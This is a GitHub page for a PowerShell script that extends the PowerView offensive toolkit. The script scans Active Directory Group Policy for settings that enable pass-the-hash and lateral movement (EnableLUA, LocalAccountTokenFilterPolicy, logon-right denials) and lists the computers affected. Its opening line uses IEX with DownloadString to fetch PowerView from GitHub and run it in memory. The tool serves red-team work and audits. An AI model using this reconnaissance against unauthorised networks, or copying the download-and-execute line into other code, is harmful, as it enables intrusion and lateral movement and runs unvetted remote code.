-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathPowerView-with-RemoteAccessPolicyEnumeration.ps1
467 lines (355 loc) · 20.2 KB
/
PowerView-with-RemoteAccessPolicyEnumeration.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
#requires -version 2
# PowerView extensions for enumerating remote access policies through group policy.
# William Knowles (@william_knows) and Jon Cave (@joncave)
# For more details, see: https://labs.mwrinfosecurity.com/blog/enumerating-remote-access-policies-through-gpo
# The following PowerView extensions were based on the code from commit be932ce
# Obtain a copy of this ...
IEX (New-Object Net.Webclient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/be932ce2be3e2a574c403f1635057029e176f858/Recon/PowerView.ps1")
function Find-ComputersWithRemoteAccessPolicies {
<#
.SYNOPSIS
Returns the DNS hostnames of computers with remote access policies relevant to lateral movement.
.DESCRIPTION
Checks GPO for settings which deal with remote access policies relevant to lateral movement
(e.g., "EnableLUA" and "LocalAccountTokenFilterPolicy"). The OUs to which these GPOs are applied
are then identified, and then the computer objects from each are retrieved. Note that this only
retrieves computer objects who have had the relevent registry keys set through group policy.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
PS C:\> Find-ComputersWithRemoteAccessPolicies
Returns the DNS hostnames for computer objects that have GPOs applied which may enable lateral movement.
.EXAMPLE
PS C:\> Find-ComputersWithRemoteAccessPolicies -Domain dev.testlab.local
Returns the DNS hostnames for computer objects that have GPOs applied which may enable lateral movement. Limit to a particular domain.
.EXAMPLE
PS C:\> Find-ComputersWithRemoteAccessPolicies -SearchBase "OU=secret,DC=testlab,DC=local"
Returns the DNS hostnames for computer objects that have GPOs applied which may enable lateral movement. Limit to a particular organisational unit.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param(
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $Domain }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase}
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope}
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
}
PROCESS {
$ComputerObjectsWithRemoteAccessPolicies = New-Object PSObject
$ComputerObjectsWithRemoteAccessPolicies | Add-Member NoteProperty EnableLUA (New-Object System.Collections.Generic.List[System.Object])
$ComputerObjectsWithRemoteAccessPolicies | Add-Member NoteProperty FilterAdministratorToken (New-Object System.Collections.Generic.List[System.Object])
$ComputerObjectsWithRemoteAccessPolicies | Add-Member NoteProperty LocalAccountTokenFilterPolicy (New-Object System.Collections.Generic.List[System.Object])
$ComputerObjectsWithRemoteAccessPolicies | Add-Member NoteProperty SeDenyNetworkLogonRight (New-Object System.Collections.Generic.List[System.Object])
$ComputerObjectsWithRemoteAccessPolicies | Add-Member NoteProperty SeDenyRemoteInteractiveLogonRight (New-Object System.Collections.Generic.List[System.Object])
$gpoSearchArguments = @{}
$gpoSearchArguments = $gpoSearchArguments + $SearcherArguments
$gpoSearchArguments.Remove("SearchBase")
$gpoSearchArguments.Remove("SearchScope")
# NOTE: SearchBase is removed here, as we do not wish it to be applied to the initial call to Get-DomainGPORemoteAccessPolicy
# and instead for the search to be conducted across the domain
$RemoteAccessPolicies = Get-DomainGPORemoteAccessPolicy @gpoSearchArguments
$RemoteAccessPolicies.PSObject.Properties | ForEach-Object {
$policy = $_.Name # EnableLUA, etc
foreach ($guid in $RemoteAccessPolicies.$policy) {
# set arguments for OU search (reading $SearchBase to limit the scope)
$ouSearchArguments = @{}
$ouSearchArguments = $ouSearchArguments + $SearcherArguments
$ouSearchArguments['GPLink'] = $guid
Get-DomainOU @ouSearchArguments | ForEach-Object {
$compSearchArguments = @{}
$compSearchArguments = $compSearchArguments + $SearcherArguments
$compSearchArguments['SearchBase'] = $_.distinguishedname
$OUComputers = Get-DomainComputer @compSearchArguments
$OUComputers | ForEach-Object {
if ($ComputerObjectsWithRemoteAccessPolicies.$policy -notcontains $_.dnshostname) { $ComputerObjectsWithRemoteAccessPolicies.$policy += $_.dnshostname }
}
}
}
}
}
END {
return $ComputerObjectsWithRemoteAccessPolicies
}
}
function Get-DomainGPORemoteAccessPolicy {
<#
.SYNOPSIS
Enumerates GPOs that control settings that deal with remote access policies.
.DESCRIPTION
Checks GPO for five different remote access policies. Three which relate to User
Account Control (UAC) and two which relate to User Rights Assignment (URA).
The three UAC policies are:
(1) "EnableLUA" which controls "Admin Approval Mode" for the local administrator group.
When set to 0 UAC is disabled. This setting can be controlled by group policy directly
and is stored in "GptTmpl.inf".
(2) "FilterAdministratorToken" controls "Admin Approval Mode" for the RID 500 account.
When set to 0 remote connections for the RID 500 account will be granted a high
integrity token. This setting is disabled by default. This setting can be controlled
by group policy directly and is stored in "GptTmpl.inf".
(3) "LocalAccountTokenFilterPolicy" controls token integrity for remote connections.
When set to 1 all remote connections for local users in the local administrator group
will be granted a high integrity token. This setting can only be set through a custom
registry key and is stored in "Registry.xml".
The order of precedence for the above three UAC commands is: EnableLUA,
LocalAccountTokenFilterPolicy, FilterAdministratorToken. For example, for
FilterAdministratorToken to have an effect EnableLUA would need to be set to 1, and
LocalAccountTokenFilterPolicy to 0.
The two URA policies are:
(4) and (5) "SeDenyNetworkLogonRight" and "SeDenyRemoteInteractiveLogonRight" are
checked to see if they include the SID of the built-in Administrators group. If they
do, any member of this group can not be used to perform network or remote interactive
authentication against the computer object on which they are configured.
.PARAMETER Identity
A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'),
GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainGPORemoteAccessPolicy
Returns an object where the key is the remote access policy, and the value is
a list of GPOs which set the policy.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $Domain }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$ConvertArguments = @{}
if ($PSBoundParameters['Domain']) { $ConvertArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential }
$SplitOption = [System.StringSplitOptions]::RemoveEmptyEntries
}
PROCESS {
if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
$RemoteAccessPolicies = New-Object PSObject
$RemoteAccessPolicies | Add-Member NoteProperty EnableLUA (New-Object System.Collections.Generic.List[System.Object])
$RemoteAccessPolicies | Add-Member NoteProperty FilterAdministratorToken (New-Object System.Collections.Generic.List[System.Object])
$RemoteAccessPolicies | Add-Member NoteProperty LocalAccountTokenFilterPolicy (New-Object System.Collections.Generic.List[System.Object])
$RemoteAccessPolicies | Add-Member NoteProperty SeDenyNetworkLogonRight (New-Object System.Collections.Generic.List[System.Object])
$RemoteAccessPolicies | Add-Member NoteProperty SeDenyRemoteInteractiveLogonRight (New-Object System.Collections.Generic.List[System.Object])
# get every GPO from the specified domain
Get-DomainGPO @SearcherArguments | ForEach-Object {
$GPOdisplayName = $_.displayname
$GPOname = $_.name
$GPOPath = $_.gpcfilesyspath
# EnableLUA and FilterAdministratorToken check via GptTmpl.inf
$ParseArgs = @{ 'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" }
if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential }
# parse the GptTmpl.inf file (if it exists) for this GPO
$Inf = Get-GptTmpl @ParseArgs
if($Inf -and ($Inf.psbase.Keys -contains "Registry Values"))
{
$EnableLUA = $Inf["Registry Values"]["MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA"]
if ($EnableLUA -and ($EnableLUA[0] -eq 4) -and ($EnableLUA[1] -eq 0))
{
Write-Verbose "The following GPO enables pass-the-hash by disabling EnableLUA: $GPOdisplayName - $GPOname"
# append to EnableLUA GPO list if it is not already there
if ($RemoteAccessPolicies.EnableLUA -notcontains $GPOname) { $RemoteAccessPolicies.EnableLUA += $GPOname }
}
$FilterAdministratorToken = $Inf["Registry Values"]["MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken"]
if ($FilterAdministratorToken -and ($FilterAdministratorToken[0] -eq 4) -and ($FilterAdministratorToken[1] -eq 0))
{
Write-Verbose "The following GPO exempts the RID 500 account from UAC protection by disabling FilterAdministratorToken: $GPOdisplayName - $GPOname"
# append to FilterAdministratorToken GPO list if it is not already there
if ($RemoteAccessPolicies.FilterAdministratorToken -notcontains $GPOname) { $RemoteAccessPolicies.FilterAdministratorToken += $GPOname }
}
}
# LocalAccountTokenFilterPolicy check via Registry.xml
# clear $ParseArgs for next use.
$ParseArgs.Clear()
# parse Registry.xml file (if it exists) for LocalAccountTokenFilterPolicy
$ParseArgs = @{ 'RegistryXMLpath' = "$GPOPath\MACHINE\Preferences\Registry\Registry.xml" }
if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential }
Get-RegistryXML @ParseArgs | ForEach-Object {
if ($_.property -eq "LocalAccountTokenFilterPolicy" -and ($_.value -eq "00000001"))
{
Write-Verbose "The following GPO enables pass-the-hash by enabling LocalAccountTokenFilterPolicy: $GPOdisplayName - $GPOname"
# append to EnableLUA GPO list if it is not already there
if ($RemoteAccessPolicies.LocalAccountTokenFilterPolicy -notcontains $GPOname) { $RemoteAccessPolicies.LocalAccountTokenFilterPolicy += $GPOname }
}
}
# SeDenyNetworkLogonRight and SeDenyRemoteInteractiveLogonRight check via GptTmpl.inf
# Use existing object that parsed the file
if($Inf -and ($Inf.psbase.Keys -contains "Privilege Rights"))
{
$SeDenyNetworkLogonRight = $Inf["Privilege Rights"]["SeDenyNetworkLogonRight"]
if ($SeDenyNetworkLogonRight -and ($SeDenyNetworkLogonRight -contains "*S-1-5-32-544"))
{
Write-Verbose "The following GPO includes the built-in Administrators group within the SeDenyNetworkLogonRight: $GPOdisplayName - $GPOname"
# append to SeDenyNetworkLogonRight GPO list if it is not already there
if ($RemoteAccessPolicies.SeDenyNetworkLogonRight -notcontains $GPOname) { $RemoteAccessPolicies.SeDenyNetworkLogonRight += $GPOname }
}
$SeDenyRemoteInteractiveLogonRight = $Inf["Privilege Rights"]["SeDenyRemoteInteractiveLogonRight"]
if ($SeDenyRemoteInteractiveLogonRight -and ($SeDenyRemoteInteractiveLogonRight -contains "*S-1-5-32-544"))
{
Write-Verbose "The following GPO includes the built-in Administrators group within the SeDenyRemoteInteractiveLogonRight: $GPOdisplayName - $GPOname"
# append to SeDenyRemoteInteractiveLogonRight GPO list if it is not already there
if ($RemoteAccessPolicies.SeDenyRemoteInteractiveLogonRight -notcontains $GPOname) { $RemoteAccessPolicies.SeDenyRemoteInteractiveLogonRight += $GPOname }
}
}
}
}
END {
# return hash table containing lists of GPOs for each remote access policy
return $RemoteAccessPolicies
}
}
function Get-RegistryXML {
<#
.SYNOPSIS
Helper to parse a Registry.xml file path into an array of custom objects.
.PARAMETER RegistryXMLpath
The Registry.xml file path name to parse.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param (
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Path')]
[String]
$RegistryXMLPath,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$MappedPaths = @{}
}
PROCESS {
try {
if (($RegistryXMLPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
$SysVolPath = "\\$((New-Object System.Uri($RegistryXMLPath)).Host)\SYSVOL"
if (-not $MappedPaths[$SysVolPath]) {
# map IPC$ to this computer if it's not already
Add-RemoteConnection -Path $SysVolPath -Credential $Credential
$MappedPaths[$SysVolPath] = $True
}
}
[XML]$RegistryXMLcontent = Get-Content $RegistryXMLPath -ErrorAction Stop
$registryKeyArray = New-Object System.Collections.Generic.List[System.Object]
# process all registry properties in the XML
$RegistryXMLcontent | Select-Xml "/RegistrySettings/Registry" | Select-Object -ExpandProperty node | ForEach-Object {
$GPORegistry = New-Object PSObject
$GPORegistry | Add-Member Noteproperty "hive" $_.Properties.hive
$GPORegistry | Add-Member Noteproperty "key" $_.Properties.key
$GPORegistry | Add-Member Noteproperty "property" $_.Properties.name
$GPORegistry | Add-Member Noteproperty "type" $_.Properties.type
$GPORegistry | Add-Member Noteproperty "value" $_.Properties.value
$registryKeyArray.Add($GPORegistry)
}
}
catch {
Write-Verbose "[Get-RegistryXML] Error parsing $TargetRegistryXMLPath : $_"
}
}
END {
# remove the SYSVOL mappings
$MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ }
# return array of regsitry settings
return $registryKeyArray
}
}